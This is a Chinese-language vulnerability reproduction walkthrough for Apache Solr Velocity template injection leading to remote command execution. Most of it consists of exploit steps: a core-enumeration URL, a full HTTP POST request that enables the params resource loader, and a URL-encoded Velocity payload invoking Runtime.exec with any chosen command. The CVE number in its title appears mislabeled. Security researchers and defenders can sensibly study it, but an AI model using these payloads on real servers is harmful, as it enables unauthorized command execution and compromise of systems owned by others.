Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2024-17558)

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四、漏洞复现

1、默认情况下params.resource.loader.enabled配置未打开,无法使用自定义模板。

     可以先通过如下API获取所有的核心,

http://IP:端口/solr/admin/cores?indexInfo=false&wt=json

2、启用配置 params.resource.loader.enabled 为true,在url访问/solr/name/config,burpsuit抓包
改成POST然后修改启动配置

      添加如下请求体,

  payload:

POST /solr/name/config HTTP/1.1
Host: IP:端口
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:93.0) Gecko/20100101 Firefox/93.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: close
Cookie: rememberMe=ZrWSOx/f1eB8kMCUxBKVtpvavMAcnzYhOV12brxMjtGhkKQn5c4s7ebXkSK3L2h2xsHd1X6/dsnPxexTbyDyUu9iX9f1VZ4nzzw0JHvqBIvE++K6sQvy5zQQwTrV01QD63ixjVF6X7UnJffNxBo7PFXIPox+3el8hn5iyyrEgPKerTpiVCzZvejQYX3+Jw5mZyB37u1i7HkayHi2xKhqyAILpQIc3IC/c7ttiyRtb7vZrrxcUcxg9usK6KH4+4r79MZAbve+5WyprSv5FjmuUAISVnmYb+jFB60Lj5/DBMDhqh76I3+u2/v05xCHPY5yPR7uOyIkKJW5V4Eevn3a4oX0DIbR16m+bUhu9mimNcbGXaQMGXpEBOs6zo9RZabRhG15/Pa0ILRrlsydVkLQQ7oIRSHb6xlVvh3lcwyVnnxKeEcl8e3fv4Fi8b0Gy3ceJQVD3PM+Xt1nOsBryIj2BBxscyEk1oq7AmL/pLAmow5Jpq+WC6OzSY7kAsLkI/9k; JSESSIONID=DD1A8B91F1B2FB55E5513FD495DCF51E; PHPSESSID=vuepd29fdnl0h1sed6lrg8nea1; ADMINCONSOLESESSION=EFzGRVL02XWVtpKgizObGYq823nJwosV50EHY1W6OGTj5BKqBElL!-1101485479; -http-session-=4::http.session::f35ab9c4d2b3ff41989f7c9b68125358; Hm_lvt_deaeca6802357287fb453f342ce28dda=1635738037; Hm_lpvt_deaeca6802357287fb453f342ce28dda=1635738037
Upgrade-Insecure-Requests: 1
Cache-Control: max-age=0
Content-Length: 259

{
  "update-queryresponsewriter": {
    "startup": "lazy",
    "name": "velocity",
    "class": "solr.VelocityResponseWriter",
    "template.base.dir": "",
    "solr.resource.loader.enabled": "true",
    "params.resource.loader.enabled": "true"
  }
}

3、通过Velocity模板执行命令,如whoami。修改exec(%27whoami%27)中的代码即可更改命令。

      注意:此时burpsuit里面请求方法由POST改为GET

payload:

/solr/name/select?q=1&&wt=velocity&v.template=custom&v.template.custom=%23set($x=%27%27)+%23set($rt=$x.class.forName(%27java.lang.Runtime%27))+%23set($chr=$x.class.forName(%27java.lang.Character%27))+%23set($str=$x.class.forName(%27java.lang.String%27))+%23set($ex=$rt.getRuntime().exec(%27whoami%27))+$ex.waitFor()+%23set($out=$ex.getInputStream())+%23foreach($i+in+[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end

4、使用python脚本进行漏洞利用,使用python3运行;

     注:此类利用脚本GitHub上很多可自行搜索